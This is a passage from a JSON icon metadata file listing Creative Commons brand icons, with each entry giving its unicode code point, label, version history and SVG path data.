        "path": "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons": {
    "changes": ["4.4.0", "5.0.0", "5.0.11", "5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f25e",
    "label": "Creative Commons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-by": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e7",
    "label": "Creative Commons Attribution",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e8",
    "label": "Creative Commons Noncommercial",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc-eu": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e9",
    "label": "Creative Commons Noncommercial (Euro Sign)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc-jp": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ea",
    "label": "Creative Commons Noncommercial (Yen Sign)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nd": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4eb",
    "label": "Creative Commons No Derivative Works",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-pd": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ec",
    "label": "Creative Commons Public Domain",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-pd-alt": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ed",
    "label": "Alternate Creative Commons Public Domain",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-remix": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ee",
    "label": "Creative Commons Remix",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sa": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ef",
    "label": "Creative Commons Share Alike",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sampling": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f0",
    "label": "Creative Commons Sampling",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-sampling-plus": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f1",
    "label": "Creative Commons Sampling +",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
